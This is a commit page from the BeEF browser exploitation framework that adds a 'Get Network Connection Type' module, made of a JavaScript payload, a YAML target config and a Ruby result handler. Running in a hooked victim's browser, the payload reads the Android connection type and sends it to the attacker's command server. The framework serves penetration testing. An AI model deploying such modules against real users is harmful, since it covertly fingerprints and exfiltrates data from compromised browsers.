Add Get Network Connection Type module
This commit is contained in:
10
modules/host/get_connection_type/command.js
Executable file
10
modules/host/get_connection_type/command.js
Executable file
@@ -0,0 +1,10 @@
|
||||
//
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
var connection_type = beef.net.connection.type();
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, "connection="+connection_type);
|
||||
});
|
||||
26
modules/host/get_connection_type/config.yaml
Executable file
26
modules/host/get_connection_type/config.yaml
Executable file
@@ -0,0 +1,26 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
get_connection_type:
|
||||
enable: true
|
||||
category: "Host"
|
||||
name: "Get Network Connection Type"
|
||||
description: "Retrieve the network connection type (wifi, 3G, etc).<br/>Note: Android only."
|
||||
authors: ["bcoles"]
|
||||
target:
|
||||
working:
|
||||
C:
|
||||
os: ["Android"]
|
||||
min_ver: 46
|
||||
max_ver: 47
|
||||
FF:
|
||||
os: ["Android"]
|
||||
min_ver: 42
|
||||
max_ver: 42
|
||||
not_working:
|
||||
ALL:
|
||||
os: ["All"]
|
||||
14
modules/host/get_connection_type/module.rb
Executable file
14
modules/host/get_connection_type/module.rb
Executable file
@@ -0,0 +1,14 @@
|
||||
#
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Get_connection_type < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['Result'] = @datastore['connection']
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user